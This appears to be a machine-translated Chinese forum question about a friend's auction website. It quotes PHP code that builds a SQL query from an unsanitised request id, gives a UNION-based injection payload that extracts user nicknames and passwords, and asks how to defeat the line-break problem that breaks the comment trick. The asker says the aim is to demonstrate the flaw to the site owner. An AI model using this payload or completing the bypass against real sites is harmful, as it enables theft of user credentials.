晚上好,我的一个朋友有一个由一些二流开发商开发的网站,现在我的任务是清理他们的工作。我试图向他展示他们制造的一些问题。在他的代码中,有这个确切的块:
$id = $_REQUEST['id'];
//echo time();
$query = "SELECT cat_id,id,category,title,description,pict_url,minimum_bid,ends,cat_name,quantity,flag
FROM " . $DBPrefix . "categories INNER JOIN ". $DBPrefix . "auctions
ON vesp_categories.cat_id=vesp_auctions.category where id=".$id."
AND starts <= ".time()." AND suspended = 0";
(我知道,对吧?)
多个查询是不可能的 - 正在使用 mysql_query 并且没有指示使用多个查询。我可以做一个工会:
?id=143 AND 1=0 union select null,null,null,nick,password,null,null,null,null,null,null from bidz_users limit 1,1-- -
但是'AND开始<=“.time()”的事实。AND suspend = 0"' 换行,破坏了注释字符的效果,只返回一个mysql错误“You have an error in your SQL syntax; 检查与您的 MySQL 服务器版本相对应的手册,以在第 4 行“AND 开始 <= 1365321338 AND 暂停 = 0”附近使用正确的语法
如果我删除查询中的换行符,它会很好用,但是具有足够访问权限来编辑他的 PHP 的攻击者可能不会为 SQL 注入而烦恼
有没有办法解决我的约束的换行/注释问题?或者有人可以提出一个合适的替代方案吗?
PHP >= 5.2 / MySQL